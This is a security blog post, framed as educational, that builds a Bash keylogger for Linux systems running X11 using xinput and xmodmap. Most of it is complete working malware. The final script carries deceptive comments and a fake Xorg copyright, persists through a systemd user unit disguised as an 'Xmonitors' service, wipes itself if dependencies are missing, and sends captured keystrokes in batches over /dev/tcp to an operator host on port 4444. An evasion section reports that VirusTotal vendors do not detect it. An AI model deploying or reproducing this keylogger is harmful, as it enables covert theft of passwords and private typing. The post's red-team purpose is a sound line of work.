For educational purposes only.
In this post (that has been a draft for almost a year), we’ll see how we could gain extra privileges on a Linux box using one of the most known technique: keylogging! As it turns out, it is quite easy to craft a userland keylogger (without having to be root!) if the Linux target is relying on the X Window System, also known as X11.
Building blocks
Our Shell script will rely on two common X11 tools: xinput and xmodmap.
Given a proper device ID, xinput allows us to “test” devices, such as keyboards. For instance, after finding device ID corresponding to my keyboard with xinput, I can test it with xinput test ${DEVICE_ID?}:
$ xinput
⎡ Virtual core pointer id=2 [master pointer (3)]
⎜ ↳ Virtual core XTEST pointer id=4 [slave pointer (2)]
⎜ ↳ UNIW0001:00 093A:0255 Touchpad id=15 [slave pointer (2)]
⎣ Virtual core keyboard id=3 [master keyboard (2)]
↳ Virtual core XTEST keyboard id=5 [slave keyboard (3)]
↳ Video Bus id=6 [slave keyboard (3)]
↳ Power Button id=7 [slave keyboard (3)]
↳ Sleep Button id=8 [slave keyboard (3)]
↳ AT Translated Set 2 keyboard id=16 [slave keyboard (3)]
$ xinput test 16
key release 36
key press 43
hkey release 43
key press 26
ekey release 26
key press 46
lkey release 46
key press 46
lkey release 46
key press 32
okey release 32
key press 37
key press 54
^C
In the example above, I’m typing ‘hello’ followed by CTRL+C. What’s really cool is that it works wherever the focus is!
Now that we have raw keycodes, we have to convert them to ASCII.
That’s where xmodmap comes. With the command xmodmap -pke, we have a complete keycode <-> ASCII mapping for the current device:
$ xmodmap -pke | head -15
keycode 8 =
keycode 9 = Escape NoSymbol Escape
keycode 10 = 1 exclam 1 exclam
keycode 11 = 2 at 2 at
keycode 12 = 3 numbersign 3 numbersign
keycode 13 = 4 dollar 4 dollar
keycode 14 = 5 percent 5 percent EuroSign NoSymbol EuroSign
keycode 15 = 6 dead_circumflex 6 dead_circumflex asciicircum asciicircum asciicircum
keycode 16 = 7 ampersand 7 ampersand
keycode 17 = 8 asterisk 8 asterisk
keycode 18 = 9 parenleft 9 parenleft leftsinglequotemark dead_breve leftsinglequotemark
keycode 19 = 0 parenright 0 parenright rightsinglequotemark dead_abovering rightsinglequotemark
keycode 20 = minus underscore minus underscore dead_macron dead_belowdot dead_macron
keycode 21 = equal plus equal plus dead_doubleacute dead_horn dead_doubleacute
keycode 22 = BackSpace BackSpace BackSpace BackSpace
With this, we can start to build our keylogger script:
#!/bin/bash
keymap=$(xmodmap -pke)
xinput test "$1" |
while read -r _ action keycode; do
keysym=$(awk -v kc="$keycode" -F'[= ]+' '$2 == kc {print $3}' <<< "$keymap")
if [ "$action" = "release" ] &&
! [[ "$keysym" =~ _(L|R)$|ISO_Level3_Shift ]]; then
continue
fi
echo "$action" "$keysym"
done
This script:
- stores
xmodmap’s output in-memory to avoid creating artefacts on the disk; - pipes
xinput test’s output into a while loop; - skips the “release” action event, except if it’s a special key (we want both events for the Shift keypress for example, to know what is in capital letters);
- print the action and the symbol matching the keycode.
We can run it in a dedicated terminal with the right device as arg 1, and let it grab the typed keys!
$ ./kl.sh 16
press w
press w
press w
press period
press g
press o
press o
press g
press l
press e
press period
press c
press o
press m
press Return
press Shift_L
press h
release Shift_L
press o
press w
press space
press t
press o
press space
press b
press e
press space
press a
press space
press 1
press 3
press 3
press 7
press space
press h
press a
press x
press o
press r
press Return
Weaponization and persistence
To turn our friendly shell script into a nastier one, we need to tweak it a bit. Because our goal is to stay under the radar as much as possible, we need to:
- check that dependencies (
xinput,xmodmapandawk) are installed on the target system; autodelete the script if not; - have some kind of persistence mechanism. We will rely on systemd’s user units1;
- have a way to exfiltrate the typed keys by pushing them to an operator-controlled remote server;
- limit artifacts left on the target device.
Verifying dependencies and adding a self-destruct capability is quite easy. To minimize the risk of being caught, we will use Bash’s built-in and POSIX-compatible command instead of the which program. We’ll also wipe the keylogger script instead of running rm, as file deletion events might raise a few eyebrows:
for cmd in awk xinput xmodmap; do
if ! command -v "$cmd" >/dev/null 2>&1; then
echo "" > "$0"
exit 0
fi
done
Because the script will run from the start on the user’s first login, idempotency is important for the persistent phase. We will rely on mkdir’s -p flag to failsafe, and test if the unit file is already present:
mkdir -p ${HOME}/.config/systemd/${USER}
if ! [ -f ${HOME}/.config/systemd/${USER}/telemetry.unit ]; then
cat << EOF > ${HOME}/.config/systemd/${USER}/watchdog.unit
[Unit]
Description=Xmonitors service for monitors layout configurations
[Service]
Type=oneshot
ExecStart=${HOME}/.Xmonitors
RemainAfterExit=no
[Install]
WantedBy=default.target
EOF
fi
This basic deceptive systemd unit disguises our keylogger as a X11 service, which may help fool anyone doing forensics due the presence of X tools within the program. But again, a trained eye will not be fooled.
For the data exfiltration, we will open a /dev/tcp pseudo-device, and use the file descriptor to push ASCII values.
To avoid generating a lot of traffic that may get eyes on our script, we must buffer the keycodes and push them by batches:
# init, deps verification, persistence logic
# grab the keycodes, buffer them
# when buffer is full, open conenction or fail cleanly if an error occurs
exec 3<>/dev/tcp/${OPERATOR_DOMAIN}/35682 || exit 0
# push the keycodes
# close the connection
exec 3>&-
Final version
Here’s the final version, with deceptive comments and very basic “obfuscation” (wrong variables and functions names, etc). It must be dropped in ${HOME}/.Xmonitors, with an up-to-date ${OPERATOR_DOMAIN}.
#!/bin/bash
# Xmonitors, copyright the Xorg authors (2008 - 2020)
# Ensure dependencies are properly installed, fail cleanly otherwise
for util in awk xinput xmodmap; do
if ! command -v "$util" >/dev/null 2>&1; then
echo "" > "$0"
exit 0
fi
done
# Ensure the daemon is properly set
mkdir -p ${HOME}/.config/systemd/${USER}
if ! [ -f ${HOME}/.config/systemd/${USER}/Xmonitors.unit ]; then
cat << EOF > ${HOME}/.config/systemd/${USER}/Xmonitors.unit
[Unit]
Description=Xmonitors service for monitors layout configurations
[Service]
Type=oneshot
ExecStart=${HOME}/.Xmonitors
RemainAfterExit=no
[Install]
WantedBy=default.target
EOF
fi
systemctl --user enable Xmonitors.unit
# Check monitors present on the system
S=100
MONITOR_ID=$(xinput list --short \
| awk -F'id=' '/slave *keyboard/ && !/XTEST/ && !/Virtual core/ && !/Power Button/ && !/Sleep Button/ && !/Video Bus/ {print $2}' \
| awk '{print $1}' \
| head -n1)
if [ -z "$MONITOR_ID" ]; then exit 0; fi
RMAP=$(xmodmap -pke)
# Helper functions for monitoring
parse() {
local kc="$1"
awk -v kc="$kc" -F'[= ]+' '$2==kc {print $3}' <<< "$RMAP"
}
ignore_invalid_data() {
local ks="$1"
case "$ks" in
Shift_*|Control_*|Alt_*|Meta_*|Super_*|ISO_Level3_Shift|Caps_Lock|Num_Lock)
return 0 ;;
*) return 1 ;;
esac
}
report=()
# Main loop: verify that monitors are well detected and handled by X system
while read -r t a k; do
[ "$t" != "key" ] && continue
status=$(parse "$k")
[ -z "$status" ] && continue
if [ "$a" = "press" ]; then
report+=("p$status")
elif [ "$a" = "release" ]; then
if ignore_invalid_data "$status"; then
report+=("r$status")
fi
fi
# Monitoring
# Current setting: DISABLED
if [ "${#report[@]}" -ge "$S" ]; then
exec 3<>/dev/tcp/${OPERATOR_DOMAIN}/4444 || exit 0
echo "${report[@]}" >&3
exec 3>&-
report=()
fi
done < <(xinput test "$MONITOR_ID")
Evasion
This script is very easy for LLMs to identify as malware. I tested it on various models, and they all flagged it as malicious. A seasoned Linux sysadmin will easily spot it too, and probably EDRs as well but I haven’t tried yet. It does not trigger any vendor on VirusTotal, mostly because of its signature being unknown.
However, the VirusTotal sandboxes properly identified the various MITRE ATT&CK techniques matching the script’s behavior (Persistence using Systemd units, etc).
To be honest, I do not think this can realistically be deployed and survive on any properly instrumented production machine. However, it may come in handy for gaining extra privileges on engagements where Linux devices are not properly enrolled with EDR/AV or regularly audited. I’ll give it a shot on future red team exercices!